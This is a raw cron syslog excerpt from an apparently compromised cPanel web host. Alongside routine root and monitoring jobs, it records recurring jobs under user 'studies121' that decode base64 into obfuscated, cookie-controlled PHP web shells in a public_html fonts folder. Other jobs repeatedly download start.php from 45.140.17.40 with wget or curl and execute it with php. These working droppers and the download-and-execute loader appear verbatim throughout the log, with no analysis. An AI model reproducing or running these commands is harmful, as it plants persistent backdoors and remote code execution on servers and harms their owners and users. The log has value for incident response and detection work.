Sep 21 23:13:01 ip-184-168-122-23 CROND[1868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:13:01 ip-184-168-122-23 CROND[1869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:13:01 ip-184-168-122-23 CROND[1873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:14:01 ip-184-168-122-23 CROND[1965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:14:01 ip-184-168-122-23 CROND[1967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:14:01 ip-184-168-122-23 CROND[1970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:14:01 ip-184-168-122-23 CROND[1968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:14:01 ip-184-168-122-23 CROND[1969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:15:01 ip-184-168-122-23 CROND[2067]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:15:01 ip-184-168-122-23 CROND[2069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:15:01 ip-184-168-122-23 CROND[2070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:15:01 ip-184-168-122-23 CROND[2072]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 23:15:01 ip-184-168-122-23 CROND[2073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:15:01 ip-184-168-122-23 CROND[2071]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 23:16:01 ip-184-168-122-23 CROND[2196]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:16:01 ip-184-168-122-23 CROND[2200]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 23:16:01 ip-184-168-122-23 CROND[2199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:16:01 ip-184-168-122-23 CROND[2198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:16:01 ip-184-168-122-23 CROND[2201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:16:01 ip-184-168-122-23 CROND[2202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:17:01 ip-184-168-122-23 CROND[2315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:17:01 ip-184-168-122-23 CROND[2316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:17:01 ip-184-168-122-23 CROND[2319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:17:01 ip-184-168-122-23 CROND[2318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:18:01 ip-184-168-122-23 CROND[2418]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:18:01 ip-184-168-122-23 CROND[2419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:18:01 ip-184-168-122-23 CROND[2420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:18:01 ip-184-168-122-23 CROND[2421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:18:01 ip-184-168-122-23 CROND[2423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:19:01 ip-184-168-122-23 CROND[2535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:19:01 ip-184-168-122-23 CROND[2537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:19:01 ip-184-168-122-23 CROND[2538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:19:01 ip-184-168-122-23 CROND[2539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:20:02 ip-184-168-122-23 CROND[2738]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 23:20:02 ip-184-168-122-23 CROND[2740]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 23:20:02 ip-184-168-122-23 CROND[2746]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:20:02 ip-184-168-122-23 CROND[2747]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 23:20:02 ip-184-168-122-23 CROND[2743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:20:02 ip-184-168-122-23 CROND[2744]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 23:20:02 ip-184-168-122-23 CROND[2749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:20:02 ip-184-168-122-23 CROND[2751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:20:02 ip-184-168-122-23 CROND[2748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:21:01 ip-184-168-122-23 CROND[2862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:21:01 ip-184-168-122-23 CROND[2865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:21:01 ip-184-168-122-23 CROND[2864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:21:01 ip-184-168-122-23 CROND[2866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:22:01 ip-184-168-122-23 CROND[2974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:22:01 ip-184-168-122-23 CROND[2978]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:22:01 ip-184-168-122-23 CROND[2976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:22:01 ip-184-168-122-23 CROND[2979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:22:01 ip-184-168-122-23 CROND[2977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:23:01 ip-184-168-122-23 CROND[3090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:23:01 ip-184-168-122-23 CROND[3094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:23:01 ip-184-168-122-23 CROND[3092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:23:01 ip-184-168-122-23 CROND[3093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:24:01 ip-184-168-122-23 CROND[3202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:24:01 ip-184-168-122-23 CROND[3203]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:24:01 ip-184-168-122-23 CROND[3205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:24:01 ip-184-168-122-23 CROND[3206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:24:01 ip-184-168-122-23 CROND[3204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:25:01 ip-184-168-122-23 CROND[3326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:25:01 ip-184-168-122-23 CROND[3331]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 23:25:01 ip-184-168-122-23 CROND[3328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:25:01 ip-184-168-122-23 CROND[3329]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 23:25:01 ip-184-168-122-23 CROND[3330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
